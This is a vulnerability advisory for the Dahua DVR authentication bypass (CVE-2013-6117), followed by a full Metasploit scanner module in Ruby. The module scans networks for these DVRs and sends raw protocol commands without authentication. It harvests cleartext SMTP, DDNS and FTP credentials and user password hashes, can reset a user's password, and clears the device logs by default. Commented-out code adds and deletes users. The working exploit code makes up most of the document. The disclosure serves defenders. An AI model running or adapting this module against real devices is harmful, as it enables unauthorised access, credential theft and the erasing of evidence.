Dahua DVR Authentication Bypass - CVE-2013-6117

--Summary--

Dahua web-enabled DVRs and rebranded versions do not enforce authentication on

their administrative services.

# Zhejiang Dahua Technology Co., Ltd.

# http://www.dahuasecurity.com

--Affects--

# Dahua web-enabled DVRs

# Dahua-rebranded web-enabled DVRs
# Verified on v2.608.0000.0 and 2.608.GV00.0

--Details--

Dahua web-enabled DVRs utilize fat-client utilities like PSS, mobile client
interfaces like iDMSS, and an ActiveX control, "webrec.cab" for browser-based
access. These clients communicate with an administrative service which runs on TCP
port 37777 by default and can be changed. At least in the case of the ActiveX
control, a simple binary protocol is used. The various commands supported by the
server are not authorized in any way. Authentication simply serves as a way to let
the client transition past the login screen. Various commands can be replayed to
any DVR sans authentication. These include:

# Get the firmware version

# Get the serial number
# Get the email settings (includes username, SMTP server, and cleartext creds)
# Get the DDNS settings (includes the DDNS service, server, and cleartext creds)
# Get the NAS settings (again, cleartext creds)
# Get the users (username, group membership, and hashed passwords)
# Get the user groups (group name, description, etc)
# Get the channels (camera channel names, e.g. "bedroom" "cocina")
# Clear the logs (handy)
# Change a user's password (unauthorized access)

More Details: http://blog.depthsecurity.com/2013/11/dahua-dvr-authentication-

bypass-cve.html

--MetaSploit Module--

We wrote a MetaSploit scanner module as a proof of concept. It is multithreaded and

can look for a specified port, scan networks, find DVRs, get all the above info,
change a user's password, and clear the logs when it's through.

# GIT Repo: https://github.com/depthsecurity/dahua_dvr_auth_bypass.git

--Other Concerns--

# Some nearly simultaneous research independent of mine:

http://www.kb.cert.org/vuls/id/800094
# CVE-2013-3612: DVRs listen for telnet by default and the root password is static
and publicly known on all devices. (http://www.cctvforum.com/viewtopic.php?
f=3&t=32408)
# Other backdoor accounts exist, including one with a revolving password that is a
simple date hash.
# CVE-2013-3613: UPnP requests from untrusted addresses is supported and could be
used to get publicly accessible telnet on a DVR.
# CVE-2013-3614: Passwords are limited to 6 chars.
# CVE-2013-3615: A weak 48-bit hash is utilized to protect DVR account passwords.
# We admittedly did not perform any serious fuzzing of the vulnerable service so
there is a large potential for more serious vulnerabilities that allow RCE.
# Also, the DVRs listen on many different ports including telnet besides those
necessary for web access (TCP/80,37777,&37778 by default).
# SMTP, NAS, and DDNS credentials were all stored and transferred in cleartext.

--Mitigation--

The best advice for now is to make sure these devices are not publicly accessible
to the internet. Dahua initially stated they would work on fixing the issues but
went radio silent afterwards.

--Timeline--

# 8/26/2013: Identified authorization flaw

# 8/27/2013: Wrote proof of concept tool/scanner
# 8/28/2013: Disclosed issue to Dahua
# 8/30/2013: Received initial response from Dahua including request for more info
# 8/30/2013: Responded to Dahua with requested info
# 9/2/2013: Received confirmation that Dahua R&D is working to fix the issue
# 10/2/2013: Requested status update from Dahua
# 10/10/2013: Re-requested status update from Dahua after no response from
10/2/2013
# 11/13/2013: Publicly disclosed vulnerability

Jake Reynolds - Partner / Principal Consultant

require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'Dahua DVR Auth Bypas Scanner',
'Version' => '$Revision: 1 $',
'Description' => 'Scans for Dahua-based DVRs and then
grabs settings. Optionally resets a user\'s password and clears the device logs',
'Author' => 'Jake Reynolds - Depth Security',
'License' => MSF_LICENSE
)
deregister_options('RHOST')
register_options(
[
OptString.new('USERNAME', [true, 'A username to reset',
'888888']),
OptString.new('PASSWORD', [true, 'A password to reset the
user with', 'abc123']),
OptBool.new('RESET', [true, 'Reset an existing user\'s
pw?', 'FALSE']),
OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when
we\'re done?', 'TRUE']),
Opt::RPORT(37777)
], self.class)
end
 def run_host(ip)
usercount = 0
u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00"
version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\
x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\
x00" +
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\
x00" +
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\
x00" +
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00" +
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00"
groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\
x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\
x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\
x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00"
clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\
x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00"
user = "root"
pass = " w"
user8pwhash = "4WzwxXxM" #888888
user6pwhash = "sh15yfFM" #666666
useradminpwhash = "6QNMIQGe" #admin
connect()
sock.put(u1)
data = sock.recv(8)
 disconnect()
if data == dvr_resp
print_good("DVR FOUND: @ #{rhost}:#{rport}!")
report_service(:host => rhost, :port => rport, :sname =>
'dvr', :info => "Dahua-based DVR")
connect()
sock.put(version)
data = sock.get(1024)
if data =~ /[\x00]{8,}([[:print:]]+)/
ver = $1
print_status("Version: #{ver} @ #{rhost}:#{rport}!")
end

sock.put(sn)
data = sock.get(1024)
if data =~ /[\x00]{8,}([[:print:]]+)/
serial = $1
print_status("Serial Number: #{serial} @
#{rhost}:#{rport}!")
end

sock.put(email)
if data = sock.get(1024).split('&&')
print_status("Email Settings: @ #{rhost}:#{rport}!")
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-
9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-
z])?)*\.?+:\d+)/
if mailhost = $1.split(':')
print_status(" Server: #{mailhost[0]}")
if !mailhost[0].nil?
print_status(" Destination Email:
#{data[1]}") if !mailhost[1].nil?
end
if !data[5].nil? and !data[6].nil?
print_good(" SMTP User: #{data[5]}") if !
data[5].nil?
print_good(" SMTP Password: #{data[6]}")
if !data[6].nil?
report_auth_info(:host => mailhost[0], :port =>
mailhost[1], :user => data[5],
:pass => data[6], :type =>
"Mail", :active => true) if ( !mailhost[0].nil? and
!mailhost[1].nil? and !
data[5].nil? and !data[6].nil? )
end
end
end

sock.put(ddns)
if data = sock.get(1024)
data = data.split(/&&[0-1]&&/)
data.each_with_index {
|val, index|
if index > 0
val = val.split("&&")
print_status("DDNS Settings @
#{rhost}:#{rport}!:")
print_status(" DDNS Service: #{val[0]}")
if !val.nil?
 print_status(" DDNS Server: #{val[1]}")
if !val.nil?
print_status(" DDNS Port: #{val[2]}") if !
val.nil?
print_status(" Domain: #{val[3]}") if !
val.nil?
print_good(" Username: #{val[4]}") if !
val.nil?
print_good(" Password: #{val[5]}") if !
val.nil?
report_auth_info(:host => val[1], :port =>
val[2], :user => val[4], :pass => val[5], :type => "DDNS",
:active => true) if ( !val[1].nil?
and !val[2].nil? and !val[4].nil? and !val[5].nil? )
end

}
end

sock.put(nas)
if data = sock.get(1024)
print_status("Nas Settings @ #{rhost}:#{rport}!:")
server = ''
port = ''
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\
x0-9a-f]{2,2})/
server = $1.unpack('C*').join('.')
port = $2.unpack('S')
print_status(" Nas Server #{server}")
print_status(" Nas Port: #{port}")
end
if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}
([[:print:]]+)/
ftpuser = $1
ftppass = $2
print_good(" FTP User: #{ftpuser}")
print_good(" FTP Password: #{ftppass}")
#report_auth_info(:host => server, :port =>
port, :user => ftpuser, :pass => ftppass, :type => "FTP",
#:active => true) if ( !server.nil? and !
port.nil? and !ftpuser.nil? and !ftppass.nil? )
end
end

sock.put(channels)
data = sock.get(1024).split('&&')
disconnect()
if (data.length > 1)
print_status("Camera Channels @ #{rhost}:#{rport}!:")
data.each_with_index {
|val, index|
print_status(" #{index+1}:#{val[/([[:print:]]
+)/]}")
}
end
connect()
sock.put(users)
if data = sock.get(1024).split('&&')
print_status("Users\\Hashed Passwords\\Rights\\Description:
@ #{rhost}:#{rport}!")
data.each {
|val|
usercount += 1
print_status(" #{val[/(([\d]+)[:]([[:print:]]
+))/]}")
}
end
sock.put(groups)
if data = sock.get(1024).split('&&')
print_status("User Groups: @ #{rhost}:#{rport}!")
data.each {
|val|
print_status(" #{val[/(([\d]+)[:]([\w]+))/]}")
}
end
if (datastore['RESET'])
userstring = datastore['USERNAME'] + ":Intel:" +
datastore['PASSWORD'] +
":" + datastore['PASSWORD']
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\
x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\
x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\
x0a\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00" +
userstring
sock.put(u1)
data = sock.get(1024)
sock.put(u2)
data = sock.get(1024)
sock.put(u3)
data = sock.get(1024)
sock.put(u1)
if data = sock.get(1024)
print_good("PASSWORD RESET!: user
#{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @
#{rhost}:#{rport}!")
end
# elsif (datastore['ACTION'] == "DELETE")
# u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# delete = "\xa6\x00\x00\
x00#{datastore['USERNAME'].length.chr}\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
+
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00" +
# datastore['USERNAME']
# print delete
# sock.send(u1, 0)
# sock.get_once
# sock.send(delete, 0)
# sock.get_once
# sock.send(u2, 0)
# sock.get_once
#
#
# elsif (datastore['ACTION'] == "ADD")
# userstring = (usercount + 1).to_s + ":" +
datastore['USERNAME'] + ":" + datastore['PASSWORD']
# userstring << "\x3a\x31\x3a\x31\x2c\x32\x2c\x33\x2c\x34\
x2c\x35\x2c\x36\x2c\x37" +
# "\x2c\x38\x2c\x39\x2c\x31\x30\x2c\x31\x31\x2c\x32\x30\
x2c\x32\x31" +
# "\x2c\x32\x32\x2c\x32\x33\x2c\x32\x34\x2c\x32\x35\x2c\
x32\x36\x2c" +
# "\x32\x37\x2c\x32\x38\x2c\x33\x37\x2c\x33\x38\x2c\x33\
x39\x2c\x34" +
# "\x30\x2c\x34\x32\x2c\x34\x33\x2c\x34\x34\x2c\x34\x35\
x2c\x34\x36" +
# "\x2c\x34\x37\x2c\x34\x38\x2c\x34\x39\x2c\x35\x30\x2c\
x35\x31\x2c" +
# "\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\
x36\x2c\x35" +
# "\x37\x2c\x35\x38\x2c\x35\x39\x2c\x36\x30\x3a\x3a\x31"
#
# u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# u3 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# u4 = "\xa6\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# u5 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\
x06\x00\x00\x00\x00\x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00" +
# userstring
# sock.put(u1)
# sock.get(1024)
# sock.put(u1)
# sock.get(1024)
# sock.put(u2)
# sock.get(1024)
# sock.put(u3)
# sock.get(1024)
# sock.put(u2)
# sock.get(1024)
# sock.put(u3)
# sock.get(1024)
# sock.put(u4)
# sock.get(1024)
# sock.put(groups)
# sock.get(1024)
# sock.put(users)
# sock.get(1024)
# sock.put(u5)
# sock.get(1024)
# sock.put(u2)
# sock.get(1024)
# sock.put(u3)
# sock.get(1024)
# sock.put(u4)
# sock.put(1024)
# sock.put(groups)
# sock.get(1024)
# sock.put(users)
# sock.put(1024)
# print_good("ADDED USER!: user #{datastore['USERNAME']}'s
password is #{datastore['PASSWORD']}")
#
# else
end

if (datastore['CLEAR_LOGS'])
sock.put(clear_logs)
sock.put(clear_logs2)
print_good("LOGS CLEARED! @ #{rhost}:#{rport}")
end
disconnect()
end
end

end